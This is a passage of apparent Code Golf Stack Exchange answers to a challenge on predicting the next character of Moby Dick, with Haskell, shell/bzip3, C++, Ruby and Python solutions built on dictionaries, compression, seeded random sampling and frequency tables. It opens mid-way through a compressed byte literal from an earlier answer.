;b\xe0+\xb6\x88\x8b\xebk`\xbb\x9c\xc0\xb9\x9c\xb5\xb9\x82\xda\x92O\\\xf1}I\x85.G\xb6n\x9e\xb1u\xc4\x1a?\xe3\xac\xcd%\xa6\\\xb2\x8c[\xe6gD\xa5\xfb\xc8+\xda\xea\x11.\'p.gm.w\x86\\\xce\xda\xdc&\xf3r\xd6\xe6\x86\xfa\xd4!\xc5\xba\x9c\xc09\xdc>q)\xf5]2\x8ck\r\xa0#\xe4\x12\x03.g\xba.\xa5\xbeK\xa9\xba\xd9\xf1\x94\xbb4.Wl\\b`\x83\x83\xba\xdc\xa3q9\xecp\xc5W\x85\x1a\xb9\x90\x95\r5\xb2\x8b\xaf\xba\xc4\x80\x0bww\xd7h\x12\xf6\xb5\xe1\xfe\xc2\x86\x1do\xe8vm8\xe1s9~\xdap\x14\xecr\xd8\xe1\xda\xa7K\x1b+s;\xd6\xd5f\x1a\xe0\xaev\xd33\x1bBf\x83;\xbbV\xf7\xd1u1.a\xe0f\x99\x98\x88\xd80`\xe3\xa2,x\xc0\x86H\xdb\x90\xd07\xf0\x80\r\x01\xea\xa0\xee\x11\x17\\G4\x17#\x16\x1c\xb1\x8d\x88P\x8ch]E\x16:G\xb24\xc92\x11\x0b\x8e\xe4\xcdB\x1a"\xbd\xc8o"\x80::\xe9\xb5$\xf2A\x8d\x13a\xf4\x88l\x1a\x01f\x11\x1d\xd7h\xc3\xd8\xa9*0\xa2=\x16QKF)K#\xcfG@r\x84\x0fF\x84D$\x81"\x146J\x18\x10)4DT\xb9Q\x07Q@@\xca\xeb\x88\xcb\xb7\x11\x17u#\x92{TV\x18\x89\xe8JF\xa0OTg\x00\xd9?\x82\xb7Fy\xe6\xf5\x18Ku3\xc4\x9eC\xac<\x14\xd3\xca\x9d\xcc!.3\xc4e\x86\xda\x1e3C<mH6\x1eb\xef!$q\x88\x07\x8f\xf0\x9e\xa1\x15GC\x02w\x08b\x0c\xe9h\r\xe9h\ri\xb6\x0fi\x97\x0ci\x9a\r\xb1\xcb\x10\xee8\x04\x94\x86\xdc\xe4\x1f\x02kC\xcd\xbbf\xc4\xe6\x1c\xa9\xb4\xa5\xfe>\xb0\xcf\x03\x9b;\xb0\xe5\x03\xfb<\xa0\xb4\x03\xaa<\xa0\xbf\x03\xaf8`\x81\x03v9\xa0\xa9\x11o\xbb\xa63p\xcd\xd5\xafk\xdag\x07K\xab\xd7\\\xfb\xbf&\x8b_\xd3r\xb8\xa6\xe5pM\x1b\xe1\x9a\x0e\xdc\xb5\xac]: \xd7\xec\xf3\xda\xda\'Z=PU\x1e\xe6\xfa\xb3\x03\x08y\xa0\xbds\xe0`\xe3@\xf7\xeb\x00\xf8\x1e\xc8<\x07\x0e+\x0e\xc0\xf7\x81\xabI\x07\xa0\xfe\xb0d\x06\xfc\xe8@\xff\xec\x00\xe8\x1d(\x93}\x0bz|\xd0\xcbg\xcb\xbe\x85o\xbe\xc2\x9e\xf1\x81/\x1f\x8b\xfb\xdc\x88\xf7Aa\x1f\x83\xfaX\xdc\xa7\x7f\xe1\x13\xcb~\xa0p\xe1K\xdcK\xe9\xea\x83\x11~Y\xd1\xc0\x87u\xf8\x12\xe1/"B\xea}>_\xf2\xa9b}j\x01\xbf\xc0\x0cy\x96\x0e\xd5\xf7\xa5\x00\x10\x92\xed\xbf\xf0bN{\xfc\x0e?\x83\xdf\xfb\x94\xf0>=\x1f\x9f\n\xc1\xa7\xe7\xe3\xd3"\xf1q\x19\x9f\xfbZ>\xc7L>W\xe3|\xf1\x08a\xbd\xbex\x84d.\x9fF\x84Oq\xe8\xe3S\xfe\x9e\xb7Au}\x9af>\xd0\xe3C@|r\x91\xbfd\x91\xe2i\xbfE\xa47\xf3|\xf2)1\xe73\x01\xf3\x8co<\x8b9\x9fE\xa4_\xf5La\xf6\x0c\xbd}~V\x13\xfd#\x88$\x14\xfa\x1f.\xc5?\x8b1\xa4)\xf1\x0c\xb3\x99Zh0\xe5lc\x8a\xafN9?\x9d\x02ISh\xfa\x94\xb5O\xc1\xa1)\xa11\xc5\x99\xa7\xc0\xd7\x14o\xbfg\x86{\x1a\xf6\xf7\xf4Y\xef\xef\xf4m\xf79]\xef=Pw\x0fN\xdd\x83^\xf7|\xe0t\x0f\xd2\xdd\x0bzIk\xf4\x1eL\x9bb\xfb)\x1f\xd5Ma\x86\xd3\xa1b\xc4\x14\xc0\x99\x02oS\xe0mJG\x7f\n\xeb\x9d\x92J\xa6P\x87)04\xe5\xb6\xea\x14\xef\x99\xc2d\xa6$\xb9)e\xd9c\xa0\x0e\xf1\xe8+L=J\xf8J[\xf3\x99\xf3\xd5GV\xf6(K\x17\xa2\xf2\x88C<ri\xf4\x11k>b\xa1,*1\x0c\xf8\xafM\x80?c\xf0\xcf\x18\xfc3\xa3?\xe3\x1c\x9f/x\xca\x8d\xa1\xcf\xa0\xe2\x92\x88Y\xa2\xaa%Lo\x89~\x96\x1bDBu\x89\xaa\x96\\D^\xd2\x96\xfcl/~I\xd5\xb4D-K\xd8\xe2\x12;/\xb1\xfe\x92\x84\xb5D\xc7K>\xbf\\b\xfd\x1b\xf2\xe7\xd2\x8a\xbf%j[\x12\x1cK\xd8\xc1\x92\xfe\xc5\x92P\\\xc2:\x96\x98i\x89\x8a\x97(\xfe\x86\xa7\x01c\x03W!\'\xb0\x06h\x88\x9b\x80,\x16\x80\x0c\x01\x9d\x95\xe0\xb4\r\xf1\xb6\x806_@\x9a\x0fh\xf3\x05c\x8d\xe6\x00\xfa\x15\xd0Y\t\xf8\x10"\xe0\x849\x80\xd6\x05 n@\xfb+ u\x07DR@\xc6\x0f$P\xaa"rn\x15\xd4\x11\xb9\x04\x10Ty\xca\xf5\xc5\xa0\xac0\x1cH\xd2\x14\n\x1d\x94\x18\xcb\xd7\xb2\x01\x07\x04A\x01M\xf1\xe1l\xe0\xf1TR\xa9\xa4\x82\xa0\xc3+\xc8\x94\x01\xb7\xc1\x03:\xdc\x01UE\x10\xaaO\x05Z`\x98\x1en\xd2\xe3\x10\xbb\x87\r{\xd8\xbb\x87\x9b\xf4\xf0\x8d\x1e\xde\xd5\x83\xfd\xf7\xbe2\x16\xaf\xed\xbd\x02v\xbd\x81Z\xa0\x07\\\xf6F\x0c\x80\x8f\xf7z\x0c\x00\x18{TZ=\x82\xab\x97j\x18\xf5\xc6LF \xf6h\x9f\xf56\n\x97=\xdc\xa4\xf7\xc6\xcap\xa9\x1e\x05F\x8f\xa6m\x0f\xe8\xb8\xb0Ab{\xfaC\xc0\xd3\xa13ra5)\xb7\x84\xf0\x05J\xbe@\xc9[\x14wA$]X7E/2\x1c\rl\xad\x1f2\xdd\x96\x8b}[\x8e\xd5\xb6\xd8w\x0b\xa6n\x7f\xf2\xbe\xba:\xcbE\x11\xd1G,!\xfe\x97=]p\'\xec\xa2\xa3\xe2\x16%m\x856\t\xff\xd9\nmz\x17\x91\x8b\x9c[\xda\x8d[\x94\xbf\xc5$\x17\t\xf3\x02\xf7[\x92\xc0\x16\x1e\xb8\x05S\xb6|c\xbe\xa5\'\xba\xe5\x90xK\x83uK\xf9\xb7\xa5\xed\xb5\xe5\xde\xfeVPI\x9aV\xdbX]hK\xf1\xb1\xed)\xae\xb5\x0e\xba\x9c\x16m/\xcf\xeaA\xb6V\xaa\x93{\x0b\xed[\xb4\x17Zd\x94\x16I\xb9ES\xb9\x05]\xf5\x08\xe3\x960\xedc\xef\xdbx\x1c\xc3\xb4\xba\x8a\t-\xb1\x91\x90\xf9\x96\x80\x86\xd4\x0b-\x81\x12\xa9\x17<q*\xb9l\xdd\x82t{\xe2T\xc2*[\xfc\xb3\x82\x16\xa7\x04-N\xc8Z\x94\x19\xad\no\xa3\xa0hq\x87\xbf\x05qm\t\xf4\xc9)\x96WPP\xf6\xf2\xac\xc1\xfa\x19q\xe2q\x19\xc3\x13\x0f\x15\xa6\xe3Uto\x1e\xb7\r<\xaa\x1e\x0f\x84\xf7X\xba\xc7\xb1c\xcb*\xde\xbc\xa6\xc6\xa2\x17\xb1`\xce\x19<\xa0\xd8\xa3\xc0\xf1:<}\xd2\xdd{\x94H\xde3O_P\x8f\xa3\x9e\xdf"j\xbd\xbeb\xa3\x07/\xf5\x06\n}\xde\x08\x91\xa3\x05\x0f\x14\xf4\xe8cyP\x97\x16\xf7\xe8<\xd0\xd5\xe3h\xc1#v<J\x19\x8f\xa3c\x8f\x98\xf4V,\x92\xf3\x04\x8f\x00\xf7 f\x1e\x9f\xe3y\xf4R=>\xfc\x1c1\xd6\xa1\x976\x82\xef\x8e\xacf$k\x18\x81\x0b\x0e\xa1\xec\xf0\xbd\xbeC#\xd9\xa1\xbd\xecp\x99\xd2Ag\x0e\xd9\xcb\xa1m=\x02\xdd\x1c(\xdc\x88\xb3\x9d\xd1P\xb53"\xd3\x8d\xe8D8\xb0\x15\x87\x96\xc2\x88;\x98\x0e-n\xc7R\t\xc7\xed#\x8c\xe5\xf0\xa5\xd1\x88\xa5\x8f\xc6\xea\x04\x0e\x07\xd5\x0e\x9f\x0c9\x1cn8|t\xe4p\x10\xe2p<\xe2\xf0\xb9\xaf\xc3\xd7\xc1\x0e\xdf\t9|S\xe4p\xce\xe1\xf0\xfd\x91\xc3\x99\x88\xc3\xb7J\x0e\xe7\'\x0e\xdf\t9\x9c]8|S\xe4p\xce\xe1p\xfa\xe1p&\xe2pR\xe2\xf0\xad\x92\xf3\xc2+\x9e\x99\x8c\xd3\x8f\x11\xe1\xe4H>\x94v\x80c\x14+\x1c>\xffv\xfe\xf5!\x1a\'ct\xb2\x7f\x8eO\xa5\xdf\xe7\xc8\x89\xb7\x90=\'\x8b\xc8\xb5\xbf\x11\xd5\x8fC\xfev\xa4B\x95km\x0eu\xab\xc3\xb7\xec\x8e\x94\xbbR\x04\x8f(\x84\x1c)w\x856;R\x04Ki<\x82\xaa9R\xcd~\x11\x91\nc\x04\x81\x1bY\xe9\xe7\x1d\xa2\xf5N\xbd\xf2N&z\xc7\xbb\xde\xb9d\xf8\x0e\x1f\x7f\x87\xa5\xbf\x13#\xef\xef\x1a\xb2\xef\x94`74\x9b\x1cB\xf6f\xa0;z\x87\xd3\xbc\xbb\xbc\xcd\xda\xdcZ\r\xf7\x0ef\xbe\x83\x99m\x0e|\x1c\xf0\xea\x86\n\xff\x06]\xdf\xd0#\xb8\xa1\xefyC\x8f\xe0\x86/\xacnh\x9d\xde\xd0P\xbd\xa1\xf7pC+\xe4\x86\xf5>nu\x17\x0eHZ\x12\xbf\x17\xe4/\xd1\xe5/\xd1\xfb/q\x03\xa9D7\xbeTR\xff,q\xd7\xa8D]R\xa23X\xe2\xba\x7f\tU\x97\xb0E\x89{\x0f%\x0c[\xe2\xf3\x84\x12Ek\x89\xa3\xe6\x92u ^\x82\xaf\x96\xc4\x02R\x14\x948\xed)\xb9\xcc\xc6\x8d\xbb.\xed\xc9.]\xcd\xae,X\x9a\x80]z\x16]v\xdf\xa5\x90\xea\xc2R\xba\xa2\xbfS\xce\xee\xd28\xee\xe2\xa0].\x83t\xed\xcfA\xce!K)\xd0|N\xa4u\t\x99\xae\xab\xf6\xe8\xe2\xa2]\x8b/t\xf5\x03a\xd3\xa5L\xeeBZ\xba\x14\x02c\x9e\xce\xa8|g\xe4\x92\x19\xb7\x07f\xe4\x92\x19]\x8bY_w:\xa3\xee\x98Q\x1f\xcd\xb8:2\x9b1\xc3\\\x83c\xcd\xe6f\x84\xf8\x0cE\xccH\xc53\x92\xf9\x0c\x7f\x9e\xe1V3R\xf1\x8c+\xd93:\xa63\x90\xe1\x9c/\xd8g\x00\x91\x99Q\xa2\xce0\xc1\x8c\xae\xc7\x8c\x18\x9f\x11_3\xac1\x03Zg\xd6\xe6P\xfb\x0c\x18\x9ea\x81\x07&{`\xb2\x07y\xb1$\x93\x87\x07\x9erq\xf2\xe1Zq\xfa\xe1F\x01\xf7\x81\xcd=\\\xf1\x14\xecx\x00Q\x1e\x04;$\x83<\x08\xa2H/\xb2\xea|\xc4\xb8\xa9\xe2GUb\xaaj9]\x95\x05W\xd9Q\xf5\xa4V\x89\xaaj\xacJ\xa9R\xefT\xb1x\x15\x86X%\xca\xab\x90\x8e*uK\xd5\xd7x\xaf\x12\xc3\xd5\x9a\x06n\x95\xb8\xac\x86\x8aUU\xae\xe5U\xb9\xb1Y\x85\x13\x9f\x91\xc4\xcf:\xfa\xe2\xb3\xa6\xae\xec\x0c\x1ap\x161\x00\xd2q\xc6\xbf$;\xcb\xeb\x80\xefv\xad~\x86{\x9cQ\r\x9f\xd9C.\xf1\x95\xdfh\xb6\x85\xf8\x9b\xff\xfe\xd2\xa4Q\xd0\xdc \xc2T\x9b\x07u\xdd&`\xd4\x14#\xc8\x19@\x13\xf6\xd9\x9c\xa8\xb75Sf\x00\x80\x9b\xdc\x82lF\xaa\xcd\xa6hH0\xbe\xd9A$\xa34\xf9\xf8\xb6\xd9U\xfcmr\xa2\xd3\xa4\xbejr7\xb2)\x8a\x95z\xb0I\x1ai\xd2\x15kr\x81\xac\xe9\xf06"\xa9\x89\xce\x9a\x94LM\xeb\xf8\xac\xcf\xc7\xab\xfd\x89j\xb5\xcfU\xa8>t\xa4\x0fI\xe9S\x15\xf4\xa9\xc9\xfb\x16HR\xe6\xf4\xb9\x98\xd1\x07\x7f\xfa`U\x1f\x04\xeb\x93\x9c\xfb\xd8\xb0\xbfa26\xd7\'\xab\xf5\xd9g\x1f|\xeaS\x9c\xf7\t\xcb>\xf0\xd3\xc7\xd1\xfaV\x8b\xe0\x8d\x1d\xbd\xd1s~#X\xdf\xf8\x94\xfc\x8d\xb5\xbf\xb1\xe07\xdd\xa7y\xcb\x18\xfd\x19k\xcfc\xf0<\xdfB\xe5\xa9\xb8\xf3T\xc6\xf9@a$O\xb8\xe7\xdb\xcc\x00\x8d\xc9\x13\xf9y\x02;O\xea\xcd\xd3\xe7\xcb\xe3\xd7y6\x94\xe7\x7ft\xe5\xe9\xd2\xe5\xe9\xe0\xe6\xb1\xe1F\x9b&&\x0fH\xe692\xcbc\x97\xbc\x85\x97yL\xd0fD\x1b\xf5\xb4\x15}3#,\xd7\xde\xe8z\\\x98q\x9b\xfbDm\xc9\xab\xc2\xfd\xda3\x1d\xdb\x06D7\xd6\xcf\xba\n\xa2m)S\xe4\x18\xb6M7\xb7\xcd1M\x9bo\xdf\xda(\xb8\r\x18\xb4\xeb\x1a\xa9m1\x9c\xb0\xc7\xb6\x18NZ\x1am\xba\x1bmxb\x9b\xeb\x9b\xed\xa2\x86r\xfb\x87"@\xdbS#\xb7i\xcc\xb4\xf3\x1a\xcac4\xf9\x89\x1c\xfd\xc9\xba\xaf4\xe6\x9e\xd3\'\x98\xd6\'2\xf3\'\xeb\xbf6|\x02\x9c\xc7\xf0\xe81\x86\x19c\xae\xb15\x96W\x8f9\x14\x19C%>\xd9\xf0>\xb6\x0fY\x80\xe41~5\x06\xd4\xc7\xc0\xc4\x98\x92b\x0cL\x8c\xe1Gc\xf8\xd1\x98o#\xc7\xf4\xa5\xc7\xb0\xea1\x1cm\x0c]\x1ds\x9bjLwaL\x95:\x86\xad\x8f\xb9\xc60\x16\xca(g\xdd\xe3\x01\x1b\x02\r7P\xc6[J\xa0[\xa11\xc2<n\xa1&\xb7P\x93[\xbe\xbc\xbd\xcd\xa99n\xf9\xc7\x11\xb7\x14Q\xb7\xfc\x93\x89[\x8a\xa8[Lw\xcbY\xee\x85e\xf2[<~\x04t\x8e\xfeZ\xf4\xff\xfe\x1f\xfa\xddI\x97')) global t t=' ' def f(k): global t r=a[t+k]if t+k in a else'e';t=k return r ``` [Answer] ## Haskell, (1904 + 1621 + 208548 + 25646) \* 2 + 371705 = 847143 ``` {-# LANGUAGE FlexibleInstances, DeriveGeneric #-} import Control.Arrow import Control.Monad import Control.Monad.Trans.State import Data.List import System.IO import Data.ByteString (ByteString) import qualified Data.ByteString as BS import qualified Data.ByteString.Lazy as BSL import qualified Data.ByteString.Char8 as BC8 import Data.Ord import Data.Char import Data.Monoid import Data.Maybe (fromJust, catMaybes) import Data.Function import qualified Data.Map as Map import Codec.Compression.Lzma import Data.Flat import GHC.Word maxWordLen :: Integral n => n maxWordLen = 20 wordSeqDictSize :: Integral n => n wordSeqDictSize = 255 predict :: [Trie] -> Char -> State ([Either Char Int], String) Char predict statDict c = do (nextChar:future, begunWord) <- get case nextChar of Left p -> do put (future, []) return p Right lw -> do let wpre = begunWord++[c] put (future, wpre) return $ trieLook (tail wpre) (case drop lw statDict of{(t:_)->t;_->Trie[]}) newtype Trie = Trie [(Char,Trie)] deriving (Show, Generic) instance Flat Trie trieLook :: String -> Trie -> Char trieLook [] (Trie ((p,_):_)) = p trieLook (c:cs) (Trie m) | Just t' <- lookup c m = trieLook cs t' trieLook _ _ = ' ' moby :: IO (String -> String) moby = do approxWSeq <- BSL.unpack . decompress <$> BSL.readFile "wordsseq" Right fallbackTries <- unflat <$> BS.readFile "dicttries" seqWords <- read <$> readFile "seqwords" let rdict = Map.fromList $ zip [maxWordLen..wordSeqDictSize] seqWords return $ \orig -> let reconstructed = approxWSeq >>= \i -> if i<maxWordLen then let l = fromIntegral i+1 in replicate l $ Right l else Left <$> rdict Map.! i in (`evalState`(reconstructed, "")) $ mapM (predict fallbackTries) (' ':orig) ``` Example: ``` Call me Ishmael. Some years ago--never mind how long precisely--having ap me ,nhmael. Hme ?ears |ce--never usd how long .aacesely--|ubing little or no money in my purse, and nothing particular to interest me on little or no ?ivey in my ?efse, and ,uwhing .hrticular to Bdaenest me on shore, I thought I would sail about a little and see the watery part of ?neae, I thought I would cfl about a little and see the |rkers part of the world. It is a way I have of driving off the spleen and regulating the world. It is a way I have of ,uiving off the |kli and .ia the circulation. Whenever I find myself growing grim about the mouth; the Ca . B I rtd |yself ,haoing eom about the ?ivlh; whenever it is a damp, drizzly November in my soul; whenever I find Baieever it is a 'mp, ,uiv Bar in my cfl; Baieever I rtd ``` Uses three pre-computed auxiliary files: * `seqwords` contains the 236 most common words. * `wordsseq` contains an LZMA-compressed sequece of these words, and for all words not among the 236 most common, the length. * `dicttries` contains, for each word-length, a decision tree that contains all remaining words. From these tries, entries are picked as we go. This way, we achieve significantly lower error rate than all the other lossy schemes; unfortunately, the `wordsseq` file is still too big to be competitive. Here's a completed version that creates the files and does the analysis: ``` depunct :: String -> [String] depunct (p:l) = (p:take lm1 wordr) : depunct (drop lm1 wordr ++ srcr) where lm1 = maxWordLen-1 (wordr, srcr) = (`span`l) $ if isAlpha p then \c -> isLetter c || c=='\'' else not . isAlpha depunct []=[] mhead :: Monoid a => [a] -> a mhead (h:_) = h mhead [] = mempty limit :: [Int] -> [Int] limit = go 0 where go z (n:l) | z<100 = n : go (z+n) l go _ l = take 1 l packStr :: String -> Integer packStr = go 0 where go n [] = n go n (c:cs) | c>='a' && c<='z' = go (28*n + fromIntegral (1 + fromEnum c - fromEnum 'a')) cs | otherwise = go (28*n) cs mkTrie :: [String] -> Trie mkTrie [] = Trie [] mkTrie strs = Trie [ (c, mkTrie . filter (not . null) $ tail<$>l) | l@((c:_):_) <- sortBy (comparing length) . groupBy ((==)`on`head) $ sortBy (comparing head) strs ] mkTries :: [String] -> [Trie] mkTries rsrc = [ mkTrie $ filter ((==l) . length) rsrc | l <- [0..maximum (length<$>rsrc)] ] main :: IO () main = do orig <- readFile "whale.txt" let wordchopped = depunct orig dictRes = take 5000 . map mhead . sortBy (comparing $ negate . length) . group . sort $ wordchopped dict = Map.fromList $ zip dictRes [maxWordLen..wordSeqDictSize] rdict = Map.fromList $ zip [maxWordLen..wordSeqDictSize] dictRes approxWSeq = [ case Map.lookup w dict of Just i -> i Nothing -> fromIntegral (length w - 1) :: Word8 | w <- wordchopped ] fallbackTries = mkTries . drop (wordSeqDictSize-maxWordLen) $ dictRes reconstructed = approxWSeq >>= \i -> if i<maxWordLen then let l = fromIntegral i+1 in replicate l $ Right l else Left <$> rdict Map.! i predicted = (`evalState`(reconstructed, "")) $ mapM (predict fallbackTries) (' ':orig) incorrects = length . filter id $ zipWith (/=) orig predicted putStrLn $ "longest word: "++show(maximum $ length<$>wordchopped) putStrLn $ show incorrects++" errors / "++show (length orig)++" chars" BSL.writeFile "wordsseq" . compress $ BSL.pack approxWSeq BS.writeFile "dicttries" $ flat fallbackTries writeFile "seqwords" . show $ take (256-maxWordLen) dictRes writeFile "whale-approx.txt" . unlines $ coLines orig predicted coLines :: String -> String -> [String] coLines [] _ = [[],[]] coLines ('\n':l) (_:m) = []:[]:coLines l m coLines l ('\n':m) = coLines l ('|':m) coLines (c:l) (d:m) = case coLines l m of (lt:mt:r) -> (c:lt):(d:mt):r ``` [Answer] ## sh+[bzip3](https://repology.org/project/bzip3/versions), 2\*321,287+0 = 642574 Based on [this](https://codegolf.stackexchange.com/a/152931/61379) submission - except bzip3 manages to get a substantially better compression ratio. Building the file: ``` #!/bin/sh if [ $# -ne 3 ] then echo "Usage $0 gen.sh datafile output.sh" exit 1 fi cat $1 > $3 dd ibs=1 if=$2 skip=1 | bzip3 -e -c >> $3 chmod +x $3 ``` And the framework: ``` dd if=$0 bs=1 skip=50|bzip3 -d&exec cat>/dev/null ``` [Answer] # C++ (WIP), 1923\*2 + 1017344 = 1021190 ``` #include <map> #include <random> #include <string> #include <type_traits> #include <vector> using namespace std; constexpr minstd_rand::result_type seed = 10087702; template<typename T> class discrete_mapped_distribution { private: discrete_distribution<size_t> distr; vector<T> values; public: discrete_mapped_distribution() : distr(), values() { } template<typename I, typename = typename enable_if<is_arithmetic<I>::value, I>::type> discrete_mapped_distribution(map<T, I> distribution) : values() { vector<I> counts; values.reserve(distribution.size()); counts.reserve(distribution.size()); for (typename map<T, I>::const_reference count : distribution) { values.push_back(count.first); counts.push_back(count.second); } distr = discrete_distribution<size_t>(counts.cbegin(), counts.cend()); } discrete_mapped_distribution(const discrete_mapped_distribution&) = default; discrete_mapped_distribution& operator=(const discrete_mapped_distribution&) = default; template<typename URNG> T operator()(URNG& urng) { return values.at(distr(urng)); } }; class generator2 { private: static map<char, discrete_mapped_distribution<char>> letters; minstd_rand rng; public: static void initDistribution(const string& text) { map<char, map<char, uint64_t>> letterDistribution; string::const_iterator it = text.cbegin(); char oldLetter = *it++; for (; it != text.cend();) { ++(letterDistribution[oldLetter][*it]); oldLetter = *it++; } generator2::letters = map<char, discrete_mapped_distribution<char>>(); for (map<char, map<char, uint64_t>>::const_reference letter : letterDistribution) { generator2::letters[letter.first] = discrete_mapped_distribution<char>(letter.second); } } generator2() : rng(seed) { } char getNextChar(char in) { return letters.at(in)(rng); } }; map<char, discrete_mapped_distribution<char>> generator2::letters; ``` As it stand this solution is WIP and therefore ungolfed. Also considering that the actual code size barely has any impact on the score I thought I post my answer first before starting to micro optimize it. *(Full code available here: <https://github.com/BrainStone/MobyDickRNG> - Includes full program and seed search)* This solution is based on a RNG. First I analyze the text. I create a map that counts the occurrences of two consecutive characters. Then I create a distribution map. This is all done statically so should be in accordance of the rules. Then while trying to print the text I do a lookup and pull a random character of the possible ones. While this usually produces worse results than just outputting the most common following letter, there could are likely god seeds that will produce better results. That's why the seed is hard coded. I'm currently searching for the best seed. And I will update this answer once I find better seeds. So stay posted! If anyone wants to search for seeds themselves or use different RNGs feel free to fork the repo. Method used to calculate score: <https://github.com/BrainStone/MobyDickRNG/blob/master/src/search.cpp#L15> *Note even though the total score is the worst at the moment, it beats the error count of just outputting spaces. And the chances are good that the score will drop, by checking more seeds.* ## Changelog * **2018/01/24**: Posted inital answer. Checked seeds: 0-50000. Score: 2305\*2 + 1017754 = 1022364 * **2018/01/24**: Did some minimal golfing. Added link to score calculation method. Checked seeds: 0-80000. Score: 1920\*2 + 1017754 = 1021594 (-770) * **2018/02/02**: New seed (10087702) (didn't find the time to fix the submission) Checked seeds: 0-32000000. Score: 1923\*2 + 1017344 = 1021190 (-404) [Answer] # Ruby, 1164418 (ouch) I just wanted to see how well I could do without checking any other answers. I'm not sure if this is allowed because it includes a literal I generated via analyzing the file, but even if it wasn't it's not like it was in danger of beating anyone. ``` x="\"ect,htabsdd,in,\\nodniwlrfydbulkm;f?ckgwvi0,.*pr;\\\"uz17klI\\n-c'WSpA\\nTwqu8.77!-BeWO5.4.CoP\\n\\\"UHEFu2.?-9.jo6.NI3.MaLYDOGoOAR'QUECziJoxp(\\nYa:\\nVI);K\\nUS*IZEX\\n&\\n$\\n_y[S\"" f=->n{(x.include? n)? x[x.index(n)+1] : ' '} ``` ## How I generated `x` First, I generated `a.txt` with the following: ``` grep -o ".." whale2.txt | sort | uniq -c|sort -bn>a.txt ``` Then I generated `a.csv`: ``` cat a.txt | awk '{ print $1","$2 }'|sort -n|tac>a.csv ``` Then I parsed it into `x` with the following Ruby script: ``` f={} File.open('./a.csv').each{|l|x=l.partition(',') f[x.last[0..1]]=x.first} n={} r={} f.each{|k,v|if((r.include? k[0]and v>n[k[0]])or not r.include? k[0])and not k[1].nil? r[k[0]]=k[1] n[k[0]]=v end} s='' r.each{|k,v|s+=k+v} puts s.inspect ``` ## How I scored ``` w=File.read('whale2.txt') x="ect,htabsdd,in,\nodniwlrfydbulkm;f?ckgwvi0,.*pr;\"uz17klI\n-c'WSpA\nTwqu8.77!-BeWO5.4.CoP\n\"UHEFu2.?-9.jo6.NI3.MaLYDOGoOAR'QUECziJoxp(\nYa:\nVI);K\nUS*IZEX\n&\n$\n_y[S" f=->n{(x.include? n)? x[x.index(n)+1] : ' '} score = 235 w.each_line{|l|v=l[0];l[0..-3].each_char{|n|v+=f[n]};v.split(//).each_with_index{|c,i|if l[i]==c print c else print '_' score+=1 end}} puts "FINAL SCORE: #{score}" ``` [Answer] # [Python 3](https://docs.python.org/3/) (644449\*2+0) 1288898 points Perfect accuracy in *only* 644449 bytes ``` import zlib,base64 as s t=enumerate(zlib.decompress(s.b64decode(b'###')).decode());a=lambda c:next(t)[1] ``` The full code cannot fit in an answer, so I have put it [here](https://github.com/Legorhin/mobydick/blob/master/modified.py) and replaced the large binary string literal with `b'###'` in the answer text. This is generated with the following code, where `modified.py` is the generated file, and `cheatsheet.txt` is the `whale2.txt` file starting at the second character. ``` import zlib, base64 with open("modified.py","w") as writer: writer.write("import zlib,base64 as s\nt=enumerate(zlib.decompress(s.b64decode(") with open("cheatsheet.txt","rb") as source: text = source.read() writer.write(str(base64.b64encode(zlib.compress(text,9)))) writer.write(')).decode());a=lambda c:next(t)[1]') ``` The code can be executed by adding the following to the end of `modified.py`. `whale2.txt` must be in the same directory as `modified.py`, and the output will be written to `out.txt`. ``` with open("out.txt","w") as writer: with open("whale2.txt","r") as reader: text = reader.read() for b in text: c = a(b) writer.write(c) ``` This answer does not directly access either `whale.txt` or `whale2.txt`. It makes use of existing standard compression libraries as explicitly allowed in the rules. [Answer] # [Python 3](https://docs.python.org/3/), (146\*2+879757) 880049 bytes ``` def f(c):return"\n t \n 2 sS \n - 08........ huaoRooe oioaohue thpih eEA \n neo enueee neue hteht e"[ord(c)-10] ``` [Try it online!](https://tio.run/##bVRdb9s2FH0Of8VtAizyZnt28jK4yEMRNM2wDAWaBEPgGAEtXZmEKVKjKH@g6G/PzpXVJN2mF4n385xzeVXvkwn@/Pm54JLKLB/MIqc2@uNHT//3JILjjKi5lQ8aEU1@G/dPH2JaHb6EwBRs0MG0TMnU1hB//NDlkOcgcexbZsYJESaxScTH8xALgBhNJwv1rE7o3q@CK7mgPBRMS3Zhq2AuI//dss/3dEHz@WTx8/TsnMoQ6Ymsp6j9ijOYBgvE1pE3CDs/w3dP0ug4mKmjE1q5sNSuC5GjOBDaYZAYsb20mkvUYi6OBf1yQVPxVtY/WV/wDmmV3mXqCEYQqzjqxNlrcpc2GHb@NQtup6tloWk3o918upBiAwIV@eghS44cDxPBMWYv/YBN2aoOMVGzb75/JluxTUoJz4p100bOhGlpHaMgIsdNKiDRCYWafRZPL2ePtU7mMYVHCXrcGu14nHbpFB0S7xLSxDGOrItscCg1zl1oWE7W5yFGziVsoo4EuA1t89QrKQU6TjKbzobenXE6WwDX0arlppEW2Q@pqPymNMS2PmWH2HcHXbqIkrLXqJ9osju/uroa0AWwkPYF/ZAh7QBQKp1@/Ua4r6djwKp0ei0ykLL/JtGNQb1J/ZW@fvtv7pAcFBVyuL4opPqEO8xk9jYDunZjGh9eWT@oIeHaLDleTAcK6c/q493Dn59vPn96GCuV3bZ17SwWYbknTTe4XHQZfNNWdbIbpvvGcKQU4PsUdVUB@G1uQnDAcWeYakz1EDQaJSOzXOrIMo08aEA3rCNey1Dsh510y6itf0@/U4MVNbZSPmzHdM201Q3xBs2KtknWr@BsKLgC7Hc2B6SD8gcQzZC2NhmgwhpwVAa@NcfcWC6HVIV8jQpuTwzizlngK/oE5/DXYFrpPZVOr9CiFKMS4xpYPHmdrLSDQ4zbEF3RIXRhgzLQQhC@wPuO6D1hQZpQsQlbrK8r0D5yJUtVCFGpJzkV9kk7m/ZQ//gvIwu0Dy0lve5kEybSo@lUpgAIwra3Jta5EViVzAs7lZTXFUOHbr9GJagSmiB0yZSDGJqjamhliB73FnLqjcgbWswFIwvtyii78gF/t5yHHWfHKWES11DZ2FxUqwIoaxc843e05tSBoAZ5trR5pxgIql6wYthxKthZmWgCzr4SsPmA/0lseXxMo9H1h8s/bu4f7tQ/ "Python 3 – Try It Online") Pretty straightforward frequency table. Each position in the string corresponds to the current character's ascii code (minus 10 = 0x0a = '\n', the lowest character in the file), and the character at each index is the most frequent next character. Assuming I calculated the frequencies right… Tested with the code from [user202729's test](https://codegolf.stackexchange.com/a/152897/3112) ]
